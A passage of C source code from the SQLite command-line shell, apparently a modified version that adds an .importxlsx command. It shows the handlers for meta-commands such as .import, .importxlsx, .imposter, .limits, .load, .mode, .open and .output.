utf8_printf(p->out, "ERROR: missing %s argument. Usage:\n",
zFile==0 ? "FILE" : "TABLE");
showHelp(p->out, "import");
rc = 1;
goto meta_command_exit;
}
seenInterrupt = 0;
open_db(p, 0);
if( useOutputMode ){
/* If neither the --csv or --ascii options are specified, then set
** the column and row separator characters from the output mode. */
nSep = strlen30(p->colSeparator);
if( nSep==0 ){
raw_printf(stderr,
"Error: non-null column separator required for import\n");
rc = 1;
goto meta_command_exit;
}
if( nSep>1 ){
raw_printf(stderr,
"Error: multi-character column separators not allowed"
" for import\n");
rc = 1;
goto meta_command_exit;
}
nSep = strlen30(p->rowSeparator);
if( nSep==0 ){
raw_printf(stderr,
"Error: non-null row separator required for import\n");
rc = 1;
goto meta_command_exit;
}
if( nSep==2 && p->mode==MODE_Csv && strcmp(p->rowSeparator,SEP_CrLf)==0 ){
/* When importing CSV (only), if the row separator is set to the
** default output row separator, change it to the default input
** row separator. This avoids having to maintain different input
** and output row separators. */
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_Row);
nSep = strlen30(p->rowSeparator);
}
if( nSep>1 ){
raw_printf(stderr, "Error: multi-character row separators not allowed"
" for import\n");
rc = 1;
goto meta_command_exit;
}
sCtx.cColSep = p->colSeparator[0];
sCtx.cRowSep = p->rowSeparator[0];
}
sCtx.zFile = zFile;
sCtx.nLine = 1;
if( sCtx.zFile[0]=='|' ){
#ifdef SQLITE_OMIT_POPEN
raw_printf(stderr, "Error: pipes are not supported in this OS\n");
rc = 1;
goto meta_command_exit;
#else
sCtx.in = popen(sCtx.zFile+1, "r");
sCtx.zFile = "<pipe>";
sCtx.xCloser = pclose;
#endif
}else{
sCtx.in = fopen(sCtx.zFile, "rb");
sCtx.xCloser = fclose;
}
if( sCtx.in==0 ){
utf8_printf(stderr, "Error: cannot open \"%s\"\n", zFile);
rc = 1;
goto meta_command_exit;
}
if( eVerbose>=2 || (eVerbose>=1 && useOutputMode) ){
char zSep[2];
zSep[1] = 0;
zSep[0] = sCtx.cColSep;
utf8_printf(p->out, "Column separator ");
output_c_string(p->out, zSep);
utf8_printf(p->out, ", row separator ");
zSep[0] = sCtx.cRowSep;
output_c_string(p->out, zSep);
utf8_printf(p->out, "\n");
}
while( (nSkip--)>0 ){
while( xRead(&sCtx) && sCtx.cTerm==sCtx.cColSep ){}
}
zSql = sqlite3_mprintf("SELECT * FROM \"%w\"", zTable);
if( zSql==0 ){
import_cleanup(&sCtx);
shell_out_of_memory();
}
nByte = strlen30(zSql);
rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
import_append_char(&sCtx, 0); /* To ensure sCtx.z is allocated */
if( rc && sqlite3_strglob("no such table: *", sqlite3_errmsg(p->db))==0 ){
char *zCreate = sqlite3_mprintf("CREATE TABLE \"%w\"", zTable);
char cSep = '(';
while( xRead(&sCtx) ){
zCreate = sqlite3_mprintf("%z%c\n \"%w\" TEXT", zCreate, cSep, sCtx.z);
cSep = ',';
if( sCtx.cTerm!=sCtx.cColSep ) break;
}
if( cSep=='(' ){
sqlite3_free(zCreate);
import_cleanup(&sCtx);
utf8_printf(stderr,"%s: empty file\n", sCtx.zFile);
rc = 1;
goto meta_command_exit;
}
zCreate = sqlite3_mprintf("%z\n)", zCreate);
if( eVerbose>=1 ){
utf8_printf(p->out, "%s\n", zCreate);
}
rc = sqlite3_exec(p->db, zCreate, 0, 0, 0);
sqlite3_free(zCreate);
if( rc ){
utf8_printf(stderr, "CREATE TABLE \"%s\"(...) failed: %s\n", zTable,
sqlite3_errmsg(p->db));
import_cleanup(&sCtx);
rc = 1;
goto meta_command_exit;
}
rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
}
sqlite3_free(zSql);
if( rc ){
if (pStmt) sqlite3_finalize(pStmt);
utf8_printf(stderr,"Error: %s\n", sqlite3_errmsg(p->db));
import_cleanup(&sCtx);
rc = 1;
goto meta_command_exit;
}
nCol = sqlite3_column_count(pStmt);
sqlite3_finalize(pStmt);
pStmt = 0;
if( nCol==0 ) return 0; /* no columns, no error */
zSql = sqlite3_malloc64( nByte*2 + 20 + nCol*2 );
if( zSql==0 ){
import_cleanup(&sCtx);
shell_out_of_memory();
}
sqlite3_snprintf(nByte+20, zSql, "INSERT INTO \"%w\" VALUES(?", zTable);
j = strlen30(zSql);
for(i=1; i<nCol; i++){
zSql[j++] = ',';
zSql[j++] = '?';
}
zSql[j++] = ')';
zSql[j] = 0;
if( eVerbose>=2 ){
utf8_printf(p->out, "Insert using: %s\n", zSql);
}
rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
if( rc ){
utf8_printf(stderr, "Error: %s\n", sqlite3_errmsg(p->db));
if (pStmt) sqlite3_finalize(pStmt);
import_cleanup(&sCtx);
rc = 1;
goto meta_command_exit;
}
needCommit = sqlite3_get_autocommit(p->db);
if( needCommit ) sqlite3_exec(p->db, "BEGIN", 0, 0, 0);
do{
int startLine = sCtx.nLine;
for(i=0; i<nCol; i++){
char *z = xRead(&sCtx);
/*
** Did we reach end-of-file before finding any columns?
** If so, stop instead of NULL filling the remaining columns.
*/
if( z==0 && i==0 ) break;
/*
** Did we reach end-of-file OR end-of-line before finding any
** columns in ASCII mode? If so, stop instead of NULL filling
** the remaining columns.
*/
if( p->mode==MODE_Ascii && (z==0 || z[0]==0) && i==0 ) break;
sqlite3_bind_text(pStmt, i+1, z, -1, SQLITE_TRANSIENT);
if( i<nCol-1 && sCtx.cTerm!=sCtx.cColSep ){
utf8_printf(stderr, "%s:%d: expected %d columns but found %d - "
"filling the rest with NULL\n",
sCtx.zFile, startLine, nCol, i+1);
i += 2;
while( i<=nCol ){ sqlite3_bind_null(pStmt, i); i++; }
}
}
if( sCtx.cTerm==sCtx.cColSep ){
do{
xRead(&sCtx);
i++;
}while( sCtx.cTerm==sCtx.cColSep );
utf8_printf(stderr, "%s:%d: expected %d columns but found %d - "
"extras ignored\n",
sCtx.zFile, startLine, nCol, i);
}
if( i>=nCol ){
sqlite3_step(pStmt);
rc = sqlite3_reset(pStmt);
if( rc!=SQLITE_OK ){
utf8_printf(stderr, "%s:%d: INSERT failed: %s\n", sCtx.zFile,
startLine, sqlite3_errmsg(p->db));
sCtx.nErr++;
}else{
sCtx.nRow++;
}
}
}while( sCtx.cTerm!=EOF );
import_cleanup(&sCtx);
sqlite3_finalize(pStmt);
if( needCommit ) sqlite3_exec(p->db, "COMMIT", 0, 0, 0);
if( eVerbose>0 ){
utf8_printf(p->out,
"Added %d rows with %d errors using %d lines of input\n",
sCtx.nRow, sCtx.nErr, sCtx.nLine-1);
}
}else
if( c=='i' && strncmp(azArg[0], "importxlsx", n)==0 ){
ImportXLSXCtx *pCtx; /* Reader context */
size_t xml_size;
void *xml_ptr;
XML_Parser xparser;
char *zSharedStringsSql;
char *zSheetSql;
sqlite3_stmt *pSharedStringsStmt = NULL;
sqlite3_stmt *pSheetStmt = NULL;
pCtx = calloc(1, sizeof(ImportXLSXCtx));
pCtx->zFile = azArg[1];
pCtx->zTable = azArg[2];
pCtx->pInsertStmt = NULL;
if( nArg==3 )
pCtx->zSheet = "1";
else if( nArg==4 )
pCtx->zSheet = azArg[3];
else if( nArg!=4 ){
fprintf(stderr, "Usage: .importxlsx FILE TABLE SHEET\n");
goto meta_command_exit;
}
seenInterrupt = 0;
open_db(p, 0);
pCtx->db = p->db;
pCtx->current_row = 1;
if( pCtx->zFile[0]=='|' ){
fprintf(stderr, "Error: pipes are not supported to open XLSX files\n");
return 1;
}
// Process xl/sharedStrings.xml and load them into shr_str[]
//xml_ptr = mz_zip_extract_archive_file_to_heap(pCtx->zFile,
// "xl/sharedStrings.xml", &xml_size, MZ_ZIP_FLAG_CASE_SENSITIVE);
// Let's use zipfile SQLite extension instead of minizip library
zSharedStringsSql = sqlite3_mprintf("select data, sz from zipfile(%Q) where name ='xl/sharedStrings.xml';", pCtx->zFile);
rc = sqlite3_prepare_v2(pCtx->db, zSharedStringsSql, -1, &pSharedStringsStmt, 0);
if( rc ){
fprintf(stderr, "Error: %s\n", sqlite3_errmsg(pCtx->db));
if (pSharedStringsStmt) sqlite3_finalize(pSharedStringsStmt);
free(pCtx);
exit(1);
}
if( SQLITE_ROW != sqlite3_step(pSharedStringsStmt)){
fprintf(stderr, "Unusual but valid: non-existing sharedStrings.xml: %s\n", sqlite3_errmsg(pCtx->db));
}
xml_ptr = (void *)sqlite3_column_text(pSharedStringsStmt, 0);
xml_size = sqlite3_column_int(pSharedStringsStmt, 1);
sqlite3_free(zSharedStringsSql);
if (xml_ptr) {
//fprintf(stderr, "%s xl/sharedStrings.xml sz:%d\n", pCtx->zFile, xml_size);
pCtx->xml_depth = 0;
xparser = XML_ParserCreate(NULL);
if (!xparser) {
fprintf(stderr, "Couldn't allocate memory for parser\n");
return 1;
}
XML_SetUserData(xparser, pCtx);
XML_SetElementHandler(xparser, StartSharedStrings, EndSharedStrings);
XML_SetCharacterDataHandler(xparser, ChrHndlr);
if (XML_Parse(xparser, xml_ptr, xml_size, -1) == XML_STATUS_ERROR) {
fprintf(stderr, "sharedStrings.xml parse error at line %" XML_FMT_INT_MOD "u:\n%s\n",
XML_GetCurrentLineNumber(xparser),
XML_ErrorString(XML_GetErrorCode(xparser)));
return 1;
}
XML_ParserFree(xparser);
}
//free(xml_ptr); // only if it came from mz_zip_extract_archive_file_to_heap
// Process xl/worksheets/sheet1.xml and load them into sheet_tbl[,]
sprintf(pCtx->sheetname, "xl/worksheets/sheet%s.xml", pCtx->zSheet);
//xml_ptr = mz_zip_extract_archive_file_to_heap(pCtx->zFile,
// pCtx->sheetname, &xml_size, MZ_ZIP_FLAG_CASE_SENSITIVE);
// Let's use zipfile SQLite extension instead of minizip library
zSheetSql = sqlite3_mprintf("select data, sz from zipfile(%Q) where name =%Q;", pCtx->zFile, pCtx->sheetname);
rc = sqlite3_prepare_v2(pCtx->db, zSheetSql, -1, &pSheetStmt, 0);
if( rc ){
fprintf(stderr, "Error: %s\n", sqlite3_errmsg(pCtx->db));
if (pSheetStmt) sqlite3_finalize(pSheetStmt);
free(pCtx);
exit(1);
}
if( SQLITE_ROW != sqlite3_step(pSheetStmt)){
fprintf(stderr, "No row in %s: %s\n", pCtx->sheetname, sqlite3_errmsg(pCtx->db));
if (pSheetStmt) sqlite3_finalize(pSheetStmt);
free(pCtx);
exit(1);
}
xml_ptr = (void *)sqlite3_column_text(pSheetStmt, 0);
xml_size = sqlite3_column_int(pSheetStmt, 1);
sqlite3_free(zSheetSql);
if (xml_ptr) {
//fprintf(stderr, "xl/worksheets/sheet%s.xml\n", pCtx->zSheet);
pCtx->xml_depth = 0;
pCtx->shr_tv = 0;
xparser = XML_ParserCreate(NULL);
if (!xparser) {
fprintf(stderr, "Couldn't allocate memory for parser\n");
return 1;
}
XML_SetUserData(xparser, pCtx);
XML_SetElementHandler(xparser, StartSheet, EndSheet);
XML_SetCharacterDataHandler(xparser, ChrHndlr);
if (XML_Parse(xparser, xml_ptr, xml_size, -1) == XML_STATUS_ERROR) {
fprintf(stderr, "sheet%s.xml parse error at line %" XML_FMT_INT_MOD "u:\n%s\n", pCtx->zSheet,
XML_GetCurrentLineNumber(xparser),
XML_ErrorString(XML_GetErrorCode(xparser)));
return 1;
}
XML_ParserFree(xparser);
}
else {
fprintf(stderr, "Error: could not read sheet number %s.\n", pCtx->zSheet);
return 1;
}
//free(xml_ptr); // only if it came from mz_zip_extract_archive_file_to_heap
sqlite3_finalize(pSharedStringsStmt);
sqlite3_finalize(pSheetStmt);
//fprintf(stderr, "sqlite3_finalize\n");
sqlite3_finalize(pCtx->pInsertStmt);
free(pCtx);
}else
#ifndef SQLITE_UNTESTABLE
if( c=='i' && strncmp(azArg[0], "imposter", n)==0 ){
char *zSql;
char *zCollist = 0;
sqlite3_stmt *pStmt;
int tnum = 0;
int isWO = 0; /* True if making an imposter of a WITHOUT ROWID table */
int lenPK = 0; /* Length of the PRIMARY KEY string for isWO tables */
int i;
if( !(nArg==3 || (nArg==2 && sqlite3_stricmp(azArg[1],"off")==0)) ){
utf8_printf(stderr, "Usage: .imposter INDEX IMPOSTER\n"
" .imposter off\n");
/* Also allowed, but not documented:
**
** .imposter TABLE IMPOSTER
**
** where TABLE is a WITHOUT ROWID table. In that case, the
** imposter is another WITHOUT ROWID table with the columns in
** storage order. */
rc = 1;
goto meta_command_exit;
}
open_db(p, 0);
if( nArg==2 ){
sqlite3_test_control(SQLITE_TESTCTRL_IMPOSTER, p->db, "main", 0, 1);
goto meta_command_exit;
}
zSql = sqlite3_mprintf(
"SELECT rootpage, 0 FROM sqlite_schema"
" WHERE name='%q' AND type='index'"
"UNION ALL "
"SELECT rootpage, 1 FROM sqlite_schema"
" WHERE name='%q' AND type='table'"
" AND sql LIKE '%%without%%rowid%%'",
azArg[1], azArg[1]
);
sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
if( sqlite3_step(pStmt)==SQLITE_ROW ){
tnum = sqlite3_column_int(pStmt, 0);
isWO = sqlite3_column_int(pStmt, 1);
}
sqlite3_finalize(pStmt);
zSql = sqlite3_mprintf("PRAGMA index_xinfo='%q'", azArg[1]);
rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
i = 0;
while( sqlite3_step(pStmt)==SQLITE_ROW ){
char zLabel[20];
const char *zCol = (const char*)sqlite3_column_text(pStmt,2);
i++;
if( zCol==0 ){
if( sqlite3_column_int(pStmt,1)==-1 ){
zCol = "_ROWID_";
}else{
sqlite3_snprintf(sizeof(zLabel),zLabel,"expr%d",i);
zCol = zLabel;
}
}
if( isWO && lenPK==0 && sqlite3_column_int(pStmt,5)==0 && zCollist ){
lenPK = (int)strlen(zCollist);
}
if( zCollist==0 ){
zCollist = sqlite3_mprintf("\"%w\"", zCol);
}else{
zCollist = sqlite3_mprintf("%z,\"%w\"", zCollist, zCol);
}
}
sqlite3_finalize(pStmt);
if( i==0 || tnum==0 ){
utf8_printf(stderr, "no such index: \"%s\"\n", azArg[1]);
rc = 1;
sqlite3_free(zCollist);
goto meta_command_exit;
}
if( lenPK==0 ) lenPK = 100000;
zSql = sqlite3_mprintf(
"CREATE TABLE \"%w\"(%s,PRIMARY KEY(%.*s))WITHOUT ROWID",
azArg[2], zCollist, lenPK, zCollist);
sqlite3_free(zCollist);
rc = sqlite3_test_control(SQLITE_TESTCTRL_IMPOSTER, p->db, "main", 1, tnum);
if( rc==SQLITE_OK ){
rc = sqlite3_exec(p->db, zSql, 0, 0, 0);
sqlite3_test_control(SQLITE_TESTCTRL_IMPOSTER, p->db, "main", 0, 0);
if( rc ){
utf8_printf(stderr, "Error in [%s]: %s\n", zSql, sqlite3_errmsg(p->db));
}else{
utf8_printf(stdout, "%s;\n", zSql);
raw_printf(stdout,
"WARNING: writing to an imposter table will corrupt the \"%s\" %s!\n",
azArg[1], isWO ? "table" : "index"
);
}
}else{
raw_printf(stderr, "SQLITE_TESTCTRL_IMPOSTER returns %d\n", rc);
rc = 1;
}
sqlite3_free(zSql);
}else
#endif /* !defined(SQLITE_OMIT_TEST_CONTROL) */
#ifdef SQLITE_ENABLE_IOTRACE
if( c=='i' && strncmp(azArg[0], "iotrace", n)==0 ){
SQLITE_API extern void (SQLITE_CDECL *sqlite3IoTrace)(const char*, ...);
if( iotrace && iotrace!=stdout ) fclose(iotrace);
iotrace = 0;
if( nArg<2 ){
sqlite3IoTrace = 0;
}else if( strcmp(azArg[1], "-")==0 ){
sqlite3IoTrace = iotracePrintf;
iotrace = stdout;
}else{
iotrace = fopen(azArg[1], "w");
if( iotrace==0 ){
utf8_printf(stderr, "Error: cannot open \"%s\"\n", azArg[1]);
sqlite3IoTrace = 0;
rc = 1;
}else{
sqlite3IoTrace = iotracePrintf;
}
}
}else
#endif
if( c=='l' && n>=5 && strncmp(azArg[0], "limits", n)==0 ){
static const struct {
const char *zLimitName; /* Name of a limit */
int limitCode; /* Integer code for that limit */
} aLimit[] = {
{ "length", SQLITE_LIMIT_LENGTH },
{ "sql_length", SQLITE_LIMIT_SQL_LENGTH },
{ "column", SQLITE_LIMIT_COLUMN },
{ "expr_depth", SQLITE_LIMIT_EXPR_DEPTH },
{ "compound_select", SQLITE_LIMIT_COMPOUND_SELECT },
{ "vdbe_op", SQLITE_LIMIT_VDBE_OP },
{ "function_arg", SQLITE_LIMIT_FUNCTION_ARG },
{ "attached", SQLITE_LIMIT_ATTACHED },
{ "like_pattern_length", SQLITE_LIMIT_LIKE_PATTERN_LENGTH },
{ "variable_number", SQLITE_LIMIT_VARIABLE_NUMBER },
{ "trigger_depth", SQLITE_LIMIT_TRIGGER_DEPTH },
{ "worker_threads", SQLITE_LIMIT_WORKER_THREADS },
};
int i, n2;
open_db(p, 0);
if( nArg==1 ){
for(i=0; i<ArraySize(aLimit); i++){
printf("%20s %d\n", aLimit[i].zLimitName,
sqlite3_limit(p->db, aLimit[i].limitCode, -1));
}
}else if( nArg>3 ){
raw_printf(stderr, "Usage: .limit NAME ?NEW-VALUE?\n");
rc = 1;
goto meta_command_exit;
}else{
int iLimit = -1;
n2 = strlen30(azArg[1]);
for(i=0; i<ArraySize(aLimit); i++){
if( sqlite3_strnicmp(aLimit[i].zLimitName, azArg[1], n2)==0 ){
if( iLimit<0 ){
iLimit = i;
}else{
utf8_printf(stderr, "ambiguous limit: \"%s\"\n", azArg[1]);
rc = 1;
goto meta_command_exit;
}
}
}
if( iLimit<0 ){
utf8_printf(stderr, "unknown limit: \"%s\"\n"
"enter \".limits\" with no arguments for a list.\n",
azArg[1]);
rc = 1;
goto meta_command_exit;
}
if( nArg==3 ){
sqlite3_limit(p->db, aLimit[iLimit].limitCode,
(int)integerValue(azArg[2]));
}
printf("%20s %d\n", aLimit[iLimit].zLimitName,
sqlite3_limit(p->db, aLimit[iLimit].limitCode, -1));
}
}else
if( c=='l' && n>2 && strncmp(azArg[0], "lint", n)==0 ){
open_db(p, 0);
lintDotCommand(p, azArg, nArg);
}else
#ifndef SQLITE_OMIT_LOAD_EXTENSION
if( c=='l' && strncmp(azArg[0], "load", n)==0 ){
const char *zFile, *zProc;
char *zErrMsg = 0;
if( nArg<2 ){
raw_printf(stderr, "Usage: .load FILE ?ENTRYPOINT?\n");
rc = 1;
goto meta_command_exit;
}
zFile = azArg[1];
zProc = nArg>=3 ? azArg[2] : 0;
open_db(p, 0);
rc = sqlite3_load_extension(p->db, zFile, zProc, &zErrMsg);
if( rc!=SQLITE_OK ){
utf8_printf(stderr, "Error: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
rc = 1;
}
}else
#endif
if( c=='l' && strncmp(azArg[0], "log", n)==0 ){
if( nArg!=2 ){
raw_printf(stderr, "Usage: .log FILENAME\n");
rc = 1;
}else{
const char *zFile = azArg[1];
output_file_close(p->pLog);
p->pLog = output_file_open(zFile, 0);
}
}else
if( c=='m' && strncmp(azArg[0], "mode", n)==0 ){
const char *zMode = nArg>=2 ? azArg[1] : "";
int n2 = strlen30(zMode);
int c2 = zMode[0];
if( c2=='l' && n2>2 && strncmp(azArg[1],"lines",n2)==0 ){
p->mode = MODE_Line;
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_Row);
}else if( c2=='c' && strncmp(azArg[1],"columns",n2)==0 ){
p->mode = MODE_Column;
if( (p->shellFlgs & SHFLG_HeaderSet)==0 ){
p->showHeader = 1;
}
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_Row);
}else if( c2=='l' && n2>2 && strncmp(azArg[1],"list",n2)==0 ){
p->mode = MODE_List;
sqlite3_snprintf(sizeof(p->colSeparator), p->colSeparator, SEP_Column);
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_Row);
}else if( c2=='h' && strncmp(azArg[1],"html",n2)==0 ){
p->mode = MODE_Html;
}else if( c2=='t' && strncmp(azArg[1],"tcl",n2)==0 ){
p->mode = MODE_Tcl;
sqlite3_snprintf(sizeof(p->colSeparator), p->colSeparator, SEP_Space);
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_Row);
}else if( c2=='c' && strncmp(azArg[1],"csv",n2)==0 ){
p->mode = MODE_Csv;
sqlite3_snprintf(sizeof(p->colSeparator), p->colSeparator, SEP_Comma);
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_CrLf);
}else if( c2=='t' && strncmp(azArg[1],"tabs",n2)==0 ){
p->mode = MODE_List;
sqlite3_snprintf(sizeof(p->colSeparator), p->colSeparator, SEP_Tab);
}else if( c2=='i' && strncmp(azArg[1],"insert",n2)==0 ){
p->mode = MODE_Insert;
set_table_name(p, nArg>=3 ? azArg[2] : "table");
}else if( c2=='q' && strncmp(azArg[1],"quote",n2)==0 ){
p->mode = MODE_Quote;
sqlite3_snprintf(sizeof(p->colSeparator), p->colSeparator, SEP_Comma);
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_Row);
}else if( c2=='a' && strncmp(azArg[1],"ascii",n2)==0 ){
p->mode = MODE_Ascii;
sqlite3_snprintf(sizeof(p->colSeparator), p->colSeparator, SEP_Unit);
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_Record);
}else if( c2=='m' && strncmp(azArg[1],"markdown",n2)==0 ){
p->mode = MODE_Markdown;
}else if( c2=='t' && strncmp(azArg[1],"table",n2)==0 ){
p->mode = MODE_Table;
}else if( c2=='b' && strncmp(azArg[1],"box",n2)==0 ){
p->mode = MODE_Box;
}else if( c2=='j' && strncmp(azArg[1],"json",n2)==0 ){
p->mode = MODE_Json;
}else if( nArg==1 ){
raw_printf(p->out, "current output mode: %s\n", modeDescr[p->mode]);
}else{
raw_printf(stderr, "Error: mode should be one of: "
"ascii box column csv html insert json line list markdown "
"quote table tabs tcl\n");
rc = 1;
}
p->cMode = p->mode;
}else
if( c=='n' && strncmp(azArg[0], "nullvalue", n)==0 ){
if( nArg==2 ){
sqlite3_snprintf(sizeof(p->nullValue), p->nullValue,
"%.*s", (int)ArraySize(p->nullValue)-1, azArg[1]);
}else{
raw_printf(stderr, "Usage: .nullvalue STRING\n");
rc = 1;
}
}else
#ifdef SQLITE_DEBUG
if( c=='o' && strcmp(azArg[0],"oom")==0 ){
int i;
for(i=1; i<nArg; i++){
const char *z = azArg[i];
if( z[0]=='-' && z[1]=='-' ) z++;
if( strcmp(z,"-repeat")==0 ){
if( i==nArg-1 ){
raw_printf(p->out, "missing argument on \"%s\"\n", azArg[i]);
rc = 1;
}else{
oomRepeat = (int)integerValue(azArg[++i]);
}
}else if( IsDigit(z[0]) ){
oomCounter = (int)integerValue(azArg[i]);
}else{
raw_printf(p->out, "unknown argument: \"%s\"\n", azArg[i]);
raw_printf(p->out, "Usage: .oom [--repeat N] [M]\n");
rc = 1;
}
}
if( rc==0 ){
raw_printf(p->out, "oomCounter = %d\n", oomCounter);
raw_printf(p->out, "oomRepeat = %d\n", oomRepeat);
}
}else
#endif /* SQLITE_DEBUG */
if( c=='o' && strncmp(azArg[0], "open", n)==0 && n>=2 ){
char *zNewFilename = 0; /* Name of the database file to open */
int iName = 1; /* Index in azArg[] of the filename */
int newFlag = 0; /* True to delete file before opening */
/* Close the existing database */
session_close_all(p);
close_db(p->db);
p->db = 0;
p->zDbFilename = 0;
sqlite3_free(p->zFreeOnClose);
p->zFreeOnClose = 0;
p->openMode = SHELL_OPEN_UNSPEC;
p->openFlags = 0;
p->szMax = 0;
/* Check for command-line arguments */
for(iName=1; iName<nArg; iName++){
const char *z = azArg[iName];
if( optionMatch(z,"new") ){
newFlag = 1;
#ifdef SQLITE_HAVE_ZLIB
}else if( optionMatch(z, "zip") ){
p->openMode = SHELL_OPEN_ZIPFILE;
#endif
}else if( optionMatch(z, "append") ){
p->openMode = SHELL_OPEN_APPENDVFS;
}else if( optionMatch(z, "readonly") ){
p->openMode = SHELL_OPEN_READONLY;
}else if( optionMatch(z, "nofollow") ){
p->openFlags |= SQLITE_OPEN_NOFOLLOW;
#ifndef SQLITE_OMIT_DESERIALIZE
}else if( optionMatch(z, "deserialize") ){
p->openMode = SHELL_OPEN_DESERIALIZE;
}else if( optionMatch(z, "hexdb") ){
p->openMode = SHELL_OPEN_HEXDB;
}else if( optionMatch(z, "maxsize") && iName+1<nArg ){
p->szMax = integerValue(azArg[++iName]);
#endif /* SQLITE_OMIT_DESERIALIZE */
}else if( z[0]=='-' ){
utf8_printf(stderr, "unknown option: %s\n", z);
rc = 1;
goto meta_command_exit;
}else if( zNewFilename ){
utf8_printf(stderr, "extra argument: \"%s\"\n", z);
rc = 1;
goto meta_command_exit;
}else{
zNewFilename = sqlite3_mprintf("%s", z);
}
}
/* If a filename is specified, try to open it first */
if( zNewFilename || p->openMode==SHELL_OPEN_HEXDB ){
if( newFlag ) shellDeleteFile(zNewFilename);
p->zDbFilename = zNewFilename;
open_db(p, OPEN_DB_KEEPALIVE);
if( p->db==0 ){
utf8_printf(stderr, "Error: cannot open '%s'\n", zNewFilename);
sqlite3_free(zNewFilename);
}else{
p->zFreeOnClose = zNewFilename;
}
}
if( p->db==0 ){
/* As a fall-back open a TEMP database */
p->zDbFilename = 0;
open_db(p, 0);
}
}else
if( (c=='o'
&& (strncmp(azArg[0], "output", n)==0||strncmp(azArg[0], "once", n)==0))
|| (c=='e' && n==5 && strcmp(azArg[0],"excel")==0)
){
char *zFile = 0;
int bTxtMode = 0;
int i;
int eMode = 0;
int bBOM = 0;
int bOnce = 0; /* 0: .output, 1: .once, 2: .excel */
if( c=='e' ){
eMode = 'x';
bOnce = 2;
}else if( strncmp(azArg[0],"once",n)==0 ){
bOnce = 1;
}
for(i=1; i<nArg; i++){
char *z = azArg[i];
if( z[0]=='-' ){
if( z[1]=='-' ) z++;
if( strcmp(z,"-bom")==0 ){
bBOM = 1;
}else if( c!='e' && strcmp(z,"-x")==0 ){
eMode = 'x'; /* spreadsheet */
}else if( c!='e' && strcmp(z,"-e")==0 ){
eMode = 'e'; /* text editor */
}else{
utf8_printf(p->out, "ERROR: unknown option: \"%s\". Usage:\n",
azArg[i]);
showHelp(p->out, azArg[0]);
rc = 1;
goto meta_command_exit;
}
}else if( zFile==0 && eMode!='e' && eMode!='x' ){
zFile = sqlite3_mprintf("%s", z);
if( zFile[0]=='|' ){
while( i+1<nArg ) zFile = sqlite3_mprintf("%z %s", zFile, azArg[++i]);
break;
}
}else{
utf8_printf(p->out,"ERROR: extra parameter: \"%s\". Usage:\n",
azArg[i]);
showHelp(p->out, azArg[0]);
rc = 1;
sqlite3_free(zFile);
goto meta_command_exit;
}
}
if( zFile==0 ) zFile = sqlite3_mprintf("stdout");
if( bOnce ){
p->outCount = 2;
}else{
p->outCount = 0;
}
output_reset(p);
#ifndef SQLITE_NOHAVE_SYSTEM
if( eMode=='e' || eMode=='x' ){
p->doXdgOpen = 1;
outputModePush(p);
if( eMode=='x' ){
/* spreadsheet mode. Output as CSV. */
newTempFile(p, "csv");
ShellClearFlag(p, SHFLG_Echo);
p->mode = MODE_Csv;
sqlite3_snprintf(sizeof(p->colSeparator), p->colSeparator, SEP_Comma);
sqlite3_snprintf(sizeof(p->rowSeparator), p->rowSeparator, SEP_CrLf);
}else{
/* text editor mode */
newTempFile(p, "txt");
bTxtMode = 1;
}
sqlite3_free(zFile);
zFile = sqlite3_mprintf("%s", p->zTempFile);
}
#endif /* SQLITE_NOHAVE_SYSTEM */
if( zFile[0]=='|' ){
#ifdef SQLITE_OMIT_POPEN
raw_printf(stderr, "Error: pipes are not supported in this OS\n");
rc = 1;
p->out = stdout;
#else
p->out = popen(zFile + 1, "w");
if( p->out==0 ){
utf8_printf(stderr,"Error: cannot open pipe \"%s\"\n", zFile + 1);
p->out = stdout;
rc = 1;
}else{
if( bBOM ) fprintf(p->out,"\357\273\277");
sqlite3_snprintf(sizeof(p->outfile), p->outfile, "%s", zFile);
}
#endif
}else{
p->out = output_file_open(zFile, bTxtMode);
if( p->out==0 ){
if( strcmp(zFile,"off")!=0 ){
utf8_printf(stderr,"Error: cannot write to \"%s\"\n", zFile);
}
p->out = stdout;
rc = 1;
} else {
if( bBOM ) fprintf(p->out,"\357\273\277");
sqlite3_snprintf(sizeof(p->outfile), p->outfile, "%s", zFile);
}
}
sqlite3_free(zFile);
}else
if( c=='p' && n>=3 && strncmp(azArg[0], "parameter", n)==0 ){
open_db(p,0);
if( nArg<=1 ) goto parameter_syntax_error;
/* .parameter clear
** Clear all bind parameters by dropping the TEMP table that holds them.
*/
if( nArg==2 && strcmp(azArg[1],"clear")==0 ){
sqlite3_exec(p->db, "DROP TABLE IF EXISTS temp.sqlite_parameters;",
0, 0, 0);
}else
/* .parameter list
** List all bind parameters.
*/
if( nArg==2 && strcmp(azArg[1],"list")==0 ){
sqlite3_stmt *pStmt = 0;
int rx;
int len = 0;
rx = sqlite3_prepare_v2(p->db,
"SELECT max(length(key)) "
"FROM temp.sqlite_parameters;", -1, &pStmt, 0);
if( rx==SQLITE_OK && sqlite3_step(pStmt)==SQLITE_ROW ){
len = sqlite3_column_int(pStmt, 0);
if( len>40 ) len = 40;
}
sqlite3_finalize(pStmt);
pStmt = 0;
if( len ){
rx = sqlite3_prepare_v2(p->db,
"SELECT key, quote(value) "
"FROM temp.sqlite_parameters;", -1, &pStmt, 0);
while( sqlite3_step(pStmt)==SQLITE_ROW ){
utf8_printf(p->out, "%-*s %s\n", len, sqlite3_column_text(pStmt,0),
sqlite3_column_text(pStmt,1));
}
sqlite3_finalize(pStmt);
}
}else
/* .parameter init
** Make sure the TEMP table used to hold bind parameters exists.
** Create it if necessary.
*/
if( nArg==2 && strcmp(azArg[1],"init")==0 ){
